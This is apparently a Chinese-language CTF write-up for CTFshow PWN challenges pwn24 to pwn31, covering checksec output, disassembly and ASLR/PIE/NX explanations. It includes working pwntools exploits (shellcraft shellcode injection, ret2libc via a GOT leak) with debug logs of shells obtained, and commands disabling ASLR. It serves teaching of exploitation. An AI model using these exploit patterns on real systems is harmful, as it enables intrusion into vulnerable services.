class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX disabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br></pre></td></tr></table></figure><p>32位仅部分开启RELRO保护</p><p>可以看到存在一个RWX权限的段，即可读可写可执行的段</p><p>直接IDA查看main函数发现有一个ctfshow函数，但是无法跟进</p><p>那么就直接看汇编了：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:080484C6                 public ctfshow</span><br><span class="line">.text:080484C6 ctfshow         proc near               ; CODE XREF: main+132↓p</span><br><span class="line">.text:080484C6</span><br><span class="line">.text:080484C6 buf             = byte ptr -88h</span><br><span class="line">.text:080484C6 var_4           = dword ptr -4</span><br><span class="line">.text:080484C6 p_argc          = dword ptr  8</span><br><span class="line">.text:080484C6</span><br><span class="line">.text:080484C6 ; __unwind &#123;</span><br><span class="line">.text:080484C6                 push    ebp</span><br><span class="line">.text:080484C7                 mov     ebp, esp</span><br><span class="line">.text:080484C9                 push    ebx</span><br><span class="line">.text:080484CA                 sub     esp, 84h</span><br><span class="line">.text:080484D0                 call    __x86_get_pc_thunk_bx</span><br><span class="line">.text:080484D5                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)</span><br><span class="line">.text:080484DB                 sub     esp, 4</span><br><span class="line">.text:080484DE                 push    100h            ; nbytes</span><br><span class="line">.text:080484E3                 lea     eax, [ebp+buf]</span><br><span class="line">.text:080484E9                 push    eax             ; buf</span><br><span class="line">.text:080484EA                 push    0               ; fd</span><br><span class="line">.text:080484EC                 call    _read</span><br><span class="line">.text:080484F1                 add     esp, 10h</span><br><span class="line">.text:080484F4                 sub     esp, 0Ch</span><br><span class="line">.text:080484F7                 lea     eax, [ebp+buf]</span><br><span class="line">.text:080484FD                 push    eax             ; s</span><br><span class="line">.text:080484FE                 call    _puts</span><br><span class="line">.text:08048503                 add     esp, 10h</span><br><span class="line">.text:08048506                 lea     eax, [ebp+buf]</span><br><span class="line">.text:0804850C                 call    eax</span><br><span class="line">.text:0804850E                 nop</span><br><span class="line">.text:0804850F                 mov     ebx, [ebp+var_4]</span><br><span class="line">.text:08048512                 leave</span><br><span class="line">.text:08048513                 retn</span><br><span class="line">.text:08048513 ; &#125; // starts at 80484C6</span><br><span class="line">.text:08048513 ctfshow         endp</span><br></pre></td></tr></table></figure><ol><li>函数开始时进行一些栈操作，保存寄存器的值。</li><li>调用 __x86_get_pc_thunk_bx 函数，获取当前的指令位置并存储在 ebx 寄存器中。</li><li>分配 0x84 字节的空间用于缓冲区，存储用户输入的数据。</li><li>调用 read 函数，从标准输入读取数据，并存储到缓冲区。</li><li>调用 puts 函数，将缓冲区的内容打印到标准输出。</li><li>通过调用 call eax 指令，以 eax 寄存器的值作为函数指针，跳转到缓冲区中存储的地址执</li></ol><p>行。</p><ol start="7"><li>之后是一些清理工作和函数返回的准备操作。</li></ol><p>可能这里看得还是云里雾里，后面慢慢会逐步清晰起来。但实际上这题题目提示了可以使用pwntools的shellcraft模块进行攻击</p><p>shellcraft 模块是 pwntools 库中的一个子模块，用于生成各种不同体系结构的 Shellcode。</p><p>Shellcode 是一段以二进制形式编写的代码，用于利用软件漏洞、执行特定操作或获取系统权限。</p><p>shellcraft 模块提供了一系列函数和方法，用于生成特定体系结构下的 Shellcode。</p><p>那么我们可以直接尝试编写exp进行攻击</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> * <span class="comment"># 导入 pwntools 库</span></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span> <span class="comment"># 设置日志级别为调试模式</span></span><br><span class="line"><span class="comment">#io = process(&#x27;./pwn&#x27;) # 本地连接</span></span><br><span class="line">io = remote(<span class="string">&quot;ip&quot;</span>, 端口) <span class="comment"># 远程连接</span></span><br><span class="line">shellcode = asm(shellcraft.sh()) <span class="comment"># 生成一个 Shellcode</span></span><br><span class="line">io.sendline(shellcode) <span class="comment"># 将生成的 Shellcode 发送到目标主机</span></span><br><span class="line">io.interactive() <span class="comment"># 与目标主机进行交互</span></span><br></pre></td></tr></table></figure><h2 id="pwn25"><a href="#pwn25" class="headerlink" title="pwn25"></a>pwn25</h2><p>Hint：开启NX保护，或许可以试试ret2libc</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&quot;pwn.challenge.ctf.show&quot;, 28177)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">write_got = elf.got[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_plt = elf.plt[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">payload = cyclic(<span class="number">0x88</span>+<span class="number">0x4</span>) + p32(write_plt) + p32(main) + p32(<span class="number">0</span>) +p32(write_got) + p32(<span class="number">4</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">write = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(write))</span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;write&#x27;</span>,write)</span><br><span class="line">libc_base = write - libc.dump(<span class="string">&#x27;write&#x27;</span>)</span><br><span class="line">system = libc_base + libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">bin_sh = libc_base + libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line">payload = cyclic(<span class="number">0x88</span>+<span class="number">0x4</span>) + p32(system) + p32(main) + p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : NX disabled &amp; Has RWX segments</span><br><span class="line">    * *************************************</span><br><span class="line">jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814<span class="variable">$ri</span>\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀</span><br><span class="line">\xe7k\xe8F</span><br><span class="line">$ <span class="built_in">cat</span> /ctfshow_flag</span><br><span class="line">[DEBUG] Sent 0x12 bytes:</span><br><span class="line">    <span class="string">&#x27;cat ctfshow_flag\n&#x27;</span></span><br><span class="line">[DEBUG] Received 0x2e bytes:</span><br><span class="line">    <span class="string">&#x27;ctfshow&#123;...&#125;\n&#x27;</span></span><br><span class="line">ctfshow&#123;...&#125;</span><br></pre></td></tr></table></figure><h6 id="分析过程：-8"><a href="#分析过程：-8" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec查看保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启NX保护，部分开启RELRO保护</p><p>具体攻击手法为：ret2libc</p><p>（即先找到栈溢出漏洞，通过write函数泄露 write 函数的真实地址，根据泄露的 write 函数地址，使用 LibcSearcher 来搜索 libc 库中相应的函数地址和字符串地址，获取 system 函数和”&#x2F;bin&#x2F;sh” 字符串的地址。构造新的 payload，使用泄露的 system 函数和 “&#x2F;bin&#x2F;sh” 字符串的地址来进行get shell）</p><p>这里的内容为后续栈部分讲解内容，目前WP在前面不做详细讲解，目的仅为了演示在开启某些保护可以使用哪些攻击手法</p><h2 id="pwn26"><a href="#pwn26" class="headerlink" title="pwn26"></a>pwn26</h2><p>Hint：设置好 ALSR 保护参数值即可获得flag<br>为确保flag正确，本题建议用提供虚拟机运行</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Please confirm your ASLR level first !</span><br><span class="line">    * *************************************</span><br><span class="line">Here is your ASLR level:</span><br><span class="line">2</span><br><span class="line">If the result is 0, <span class="keyword">then</span> you get the correct flag!</span><br><span class="line">If not,you will get a fake flag!</span><br><span class="line">flag is :ctfshow&#123;0x400687_0x400560_0xc45b2a0_0x76042988a6b0&#125;</span><br><span class="line">$ <span class="built_in">cat</span> /proc/sys/kernel/randomize_va_space</span><br><span class="line">2</span><br><span class="line">rhea@rhea-VMware-Virtual-Platform:~$ <span class="built_in">sudo</span> docker run -it --privileged --<span class="built_in">rm</span> pwnenv_ubuntu24 /bin/bash</span><br><span class="line">root@5c9e7214e2da:/# <span class="built_in">echo</span> 0 &gt; /proc/sys/kernel/randomize_va_space</span><br><span class="line">root@5c9e7214e2da:/# <span class="built_in">cat</span> /proc/sys/kernel/randomize_va_space</span><br><span class="line">0</span><br><span class="line">$ ./pwn</span><br><span class="line">Here is your ASLR level:</span><br><span class="line">0</span><br><span class="line">If the result is 0, <span class="keyword">then</span> you get the correct flag!</span><br><span class="line">If not,you will get a fake flag!</span><br><span class="line">flag is :ctfshow&#123;0x400687_0x400560_0x6032a0_0x7ffff7fbd6b0&#125;</span><br></pre></td></tr></table></figure><p>所以应该先执行echo 0 &gt; &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;randomize_va_space[不行的话 sudo sh -c ‘echo 0 &gt; &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;randomize_va_space’重定向]</p><p>再运行程序即可得到正确的flag</p><p>flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}</p><h6 id="分析过程：-9"><a href="#分析过程：-9" class="headerlink" title="分析过程："></a>分析过程：</h6><p>ASLR（Address Space Layout Randomization）是一种操作系统级别的安全保护机制，旨在增加软件系统的安全性。它通过随机化程序在内存中的布局，使得攻击者难以准确地确定关键代码和数据的位置，从而增加了利用软件漏洞进行攻击的难度。</p><p>开启不同等级会有不同的效果：</p><ol><li><p>内存布局随机化： ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中，不同的库和模块通常会在固定的内存位置上加载，攻击者可以利用这种可预测性来定位和利用漏洞。ASLR通过随机化这些模块的加载地址，使得攻击者无法准确地确定内存中的关键数据结构和代码的位置。</p></li><li><p>地址空间范围的随机化： ASLR还会随机化进程的地址空间范围。在传统的地址空间中，栈、堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位置和大小，从而使得这些重要的内存区域在每次运行时都有不同的位置。</p></li><li><p>随机偏移量： ASLR会引入随机偏移量，将程序和模块在内存中的相对位置随机化。这意味着每个模块的实际地址是相对于一个随机基址偏移的，而不是绝对地址。攻击者需要在运行时发现这些偏移量，才能准确地定位和利用漏洞。</p></li><li><p>堆和栈随机化： ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起始地址，使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置，使得攻击者无法轻易地覆盖返回地址或控制程序流程。</p></li></ol><p>在Linux中，ALSR的全局配置&#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;randomize_va_space有三种情况：</p><p>0表示关闭ALSR</p><p>1表示部分开启（将mmap的基址、stack和vdso页面随机化）</p><p>2表示完全开启</p><hr><table><thead><tr><th><strong>ALSR</strong></th><th><strong>Executable</strong></th><th><strong>PLT</strong></th><th>Heap</th><th><strong>Stack</strong></th><th>Shared libraies</th></tr></thead><tbody><tr><td>0</td><td>×</td><td>×</td><td>×</td><td>×</td><td>×</td></tr><tr><td>1</td><td>×</td><td>×</td><td>×</td><td>√</td><td>√</td></tr><tr><td>2</td><td>×</td><td>×</td><td>√</td><td>√</td><td>√</td></tr><tr><td>2+PIE</td><td>√</td><td>√</td><td>√</td><td>√</td><td>√</td></tr></tbody></table><hr><h2 id="pwn27"><a href="#pwn27" class="headerlink" title="pwn27"></a>pwn27</h2><p>Hint：设置好 ALSR 保护参数值即可获得flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Please confirm your ASLR level first !</span><br><span class="line">    * *************************************</span><br><span class="line">Here is your ASLR level:</span><br><span class="line">0</span><br><span class="line">If the result is 0 or 1, <span class="keyword">then</span> you get the correct flag!</span><br><span class="line">If not,you will get a fake flag!</span><br><span class="line">flag is :ctfshow&#123;0x400687_0x400560_0x6032a0&#125;</span><br></pre></td></tr></table></figure><p>故flag:ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}</p><h6 id="分析过程：-10"><a href="#分析过程：-10" class="headerlink" title="分析过程："></a>分析过程：</h6><p>同理pwn26</p><h2 id="pwn28"><a href="#pwn28" class="headerlink" title="pwn28"></a>pwn28</h2><p>Hint：设置好 ALSR 保护参数值即可获得flag</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Please confirm your ASLR level first !</span><br><span class="line">    * *************************************</span><br><span class="line">Here is your ASLR level:</span><br><span class="line">0</span><br><span class="line">flag is :ctfshow&#123;0x400687_0x400560&#125;</span><br><span class="line">...</span><br><span class="line">Here is your ASLR level:</span><br><span class="line">1</span><br><span class="line">flag is :ctfshow&#123;0x400687_0x400560&#125;</span><br><span class="line">...</span><br><span class="line">Here is your ASLR level:</span><br><span class="line">2</span><br><span class="line">flag is :ctfshow&#123;0x400687_0x400560&#125;</span><br></pre></td></tr></table></figure><p>此时不管等级为0 1 2 ，函数本身地址不会变化（在未开启PIE的情况下）</p><p>故flag:ctfshow{0x400687_0x400560}</p><h6 id="分析过程：-11"><a href="#分析过程：-11" class="headerlink" title="分析过程："></a>分析过程：</h6><p>同理pwn26</p><h2 id="pwn29"><a href="#pwn29" class="headerlink" title="pwn29"></a>pwn29</h2><p>Hint：ASLR和PIE开启后</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Please confirm your ASLR level first !</span><br><span class="line">    * *************************************</span><br><span class="line">sh: 1: cannot create /proc/sys/kernel/randomize_va_space: Read-only file system</span><br><span class="line">Here is your ASLR level:</span><br><span class="line">0</span><br><span class="line">Let<span class="string">&#x27;s take a look at protection:</span></span><br><span class="line"><span class="string">[*] &#x27;</span>/CTFshow_pwn/pwn<span class="string">&#x27;</span></span><br><span class="line"><span class="string">    Arch:       amd64-64-little</span></span><br><span class="line"><span class="string">    RELRO:      Full RELRO</span></span><br><span class="line"><span class="string">    Stack:      Canary found</span></span><br><span class="line"><span class="string">    NX:         NX enabled</span></span><br><span class="line"><span class="string">    PIE:        PIE enabled</span></span><br><span class="line"><span class="string">    Stripped:   No</span></span><br><span class="line"><span class="string">executable: 0x55555540083a</span></span><br><span class="line"><span class="string">system@plt: 0x7ffff7df3750</span></span><br><span class="line"><span class="string">heap: 0x5555556032a0</span></span><br><span class="line"><span class="string">stack: 0x7fffffffe3d4</span></span><br><span class="line"><span class="string">As you can see, the protection has been fully turned on and the address has been completely randomized!</span></span><br><span class="line"><span class="string">Here is your flag:</span></span><br><span class="line"><span class="string">ctfshow&#123;Address_Space_Layout_Randomization&amp;&amp;Position-Independent_Executable_1s_C0000000000l!&#125;</span></span><br></pre></td></tr></table></figure><p>故flag：ctfshow{Address_Space_Layout_Randomization&amp;&amp;Position Independent_Executable_1s_C0000000000l!}</p><h6 id="分析过程：-12"><a href="#分析过程：-12" class="headerlink" title="分析过程："></a>分析过程：</h6><p>ASLR和PIE开启后，地址都会将随机化，这里值得注意的是，由于粒度问题，虽然地址都被随机化了，但是被随机化的都仅仅是某个对象的起始地址，而在其内部还是原来的结构，也就是相对偏移是不会变化的。</p><h2 id="pwn30"><a href="#pwn30" class="headerlink" title="pwn30"></a>pwn30</h2><p>Hint：关闭PIE后,程序的基地址固定，攻击者可以更容易地确定内存中函数和变量的位置。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;, 28145)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;/home/ctfshow/libc/32bit/libc-2.27.so&#x27;)</span></span><br><span class="line">ctfshow = elf.sym[<span class="string">&#x27;ctfshow&#x27;</span>]</span><br><span class="line">payload = <span class="string">b&quot;A&quot;</span> * <span class="number">140</span> +p32(elf.sym[<span class="string">&#x27;write&#x27;</span>]) + p32(ctfshow) + p32(<span class="number">1</span>) + p32(elf.got[<span class="string">&#x27;write&#x27;</span>]) + p32(<span class="number">4</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">write_addr = u32(io.recv(<span class="number">4</span>))</span><br><span class="line">system_addr = write_addr - libc.sym[<span class="string">&#x27;write&#x27;</span>] + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">binsh_addr = write_addr - libc.sym[<span class="string">&#x27;write&#x27;</span>] + <span class="built_in">next</span>(libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">payload2 = <span class="string">b&quot;B&quot;</span> * <span class="number">140</span> + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)</span><br><span class="line">io.send(payload2)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span> argv=[b<span class="string">&#x27;./pwn&#x27;</span>] : pid 756</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">[DEBUG] Sent 0xa0 bytes:</span><br><span class="line">    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│</span><br><span class="line">    *</span><br><span class="line">    00000080  41 41 41 41  41 41 41 41  41 41 41 41  b0 83 04 08  │AAAA│AAAA│AAAA│····│</span><br><span class="line">    00000090  f6 84 04 08  01 00 00 00  18 a0 04 08  04 00 00 00  │····│····│····│····│</span><br><span class="line">    000000a0</span><br><span class="line">[DEBUG] Received 0x4 bytes:</span><br><span class="line">    00000000  80 1b e9 f7                                         │····│</span><br><span class="line">    00000004</span><br><span class="line">/CTFshow_pwn/exp.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes</span><br><span class="line">  binsh_addr = write_addr - libc.sym[<span class="string">&#x27;write&#x27;</span>] + next(libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">[DEBUG] Sent 0x98 bytes:</span><br><span class="line">    00000000  42 42 42 42  42 42 42 42  42 42 42 42  42 42 42 42  │BBBB│BBBB│BBBB│BBBB│</span><br><span class="line">    *</span><br><span class="line">    00000080  42 42 42 42  42 42 42 42  42 42 42 42  30 a4 dc f7  │BBBB│BBBB│BBBB│0···│</span><br><span class="line">    00000090  f6 84 04 08  e8 ed f3 f7                            │····│····│</span><br><span class="line">    00000098</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">[DEBUG] Sent 0x3 bytes:</span><br><span class="line">    b<span class="string">&#x27;ls\n&#x27;</span></span><br><span class="line">[DEBUG] Received 0xb bytes:</span><br><span class="line">    b<span class="string">&#x27;exp.py\tpwn\n&#x27;</span></span><br><span class="line">exp.pypwn</span><br></pre></td></tr></table></figure><h6 id="分析过程：-13"><a href="#分析过程：-13" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位程序开启NX，部分开启RELRO保护</p><p>IDA查看跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> __cdecl <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">132</span>]; <span class="comment">// [esp+0h] [ebp-88h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到这里存在明显的溢出点</p><p>buf ，用于存储从标准输入读取的数据。该变量在栈上分配，相对于函数栈帧指针 ebp 的偏移为-0x88 .调用 read 函数从标准输入读取数据。 read 函数的第一个参数是文件描述符，这里使用 0 表示标准入。第二个参数是指向存储数据的缓冲区的指针，这里是 &amp;buf 。第三个参数是要读取的最大字节数，这里是0x100u ，即 256 字节。</p><p>程序中无system也没有“&#x2F;bin&#x2F;sh”字符串，也可以使用ret2libc的方法进行get shell 后面到该部分会进行详细讲解，同样在这里仅仅是为了演示在关闭Canary和PIE保护，开启NX保护时的一种攻击手法。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ gdb ./pwn</span><br><span class="line">pwndbg&gt; r</span><br><span class="line">^c</span><br><span class="line">pwndbg&gt; cyclic 500</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae</span><br><span class="line">pwndbg&gt; c</span><br><span class="line">Continuing.</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae</span><br><span class="line">*EIP  0x6261616b (<span class="string">&#x27;kaab&#x27;</span>)</span><br><span class="line">pwndbg&gt; cyclic -l kaab</span><br><span class="line">Finding cyclic pattern of 4 bytes: b<span class="string">&#x27;kaab&#x27;</span> (hex: 0x6b616162)</span><br><span class="line">Found at offset 140</span><br></pre></td></tr></table></figure><h2 id="pwn31"><a href="#pwn31" class="headerlink" title="pwn31"></a>pwn31</h2><p>Hint：开启 ALSR 和 PIE 的情况下，仍可能被利用</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;127.0.0.1&#x27;,10000)</span></span><br><span class="line"><span class="comment">#io = remote(&quot;pwn.challenge.ctf.show&quot;,28161)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;/home/ctfshow/libc/32bit/libc-2.27.so&#x27;)</span></span><br><span class="line">main = <span class="built_in">int</span>(io.recvline(),<span class="number">16</span>)</span><br><span class="line"><span class="comment">#print hex(main)</span></span><br><span class="line">base = main - elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">ctfshow = base + elf.sym[<span class="string">&#x27;ctfshow&#x27;</span>]</span><br><span class="line">write_plt = base + elf.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">write_got = base + elf.got[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">ebx = base + <span class="number">0x1fc0</span></span><br><span class="line">payload = <span class="string">b&quot;A&quot;</span> * <span class="number">132</span> + p32(ebx) + <span class="string">b&quot;AAAA&quot;</span> + p32(write_plt) + p32(ctfshow) + p32(<span class="number">1</span>) + p32(write_got) + p32(<span class="number">4</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">write = u32(io.recv())</span><br><span class="line">libc_base = write - libc.sym[<span class="string">&#x27;write&#x27;</span>]</span><br><span class="line">system_addr = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">binsh_addr = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">payload = <span class="string">b&quot;B&quot;</span> * <span class="number">140</span> + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">   $ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span> argv=[b<span class="string">&#x27;./pwn&#x27;</span>] : pid 781</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">[DEBUG] Received 0xb bytes:</span><br><span class="line">    b<span class="string">&#x27;0x56555652\n&#x27;</span></span><br><span class="line">[DEBUG] Sent 0xa0 bytes:</span><br><span class="line">    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│</span><br><span class="line">    *</span><br><span class="line">    00000080  41 41 41 41  c0 6f 55 56  41 41 41 41  b0 54 55 56  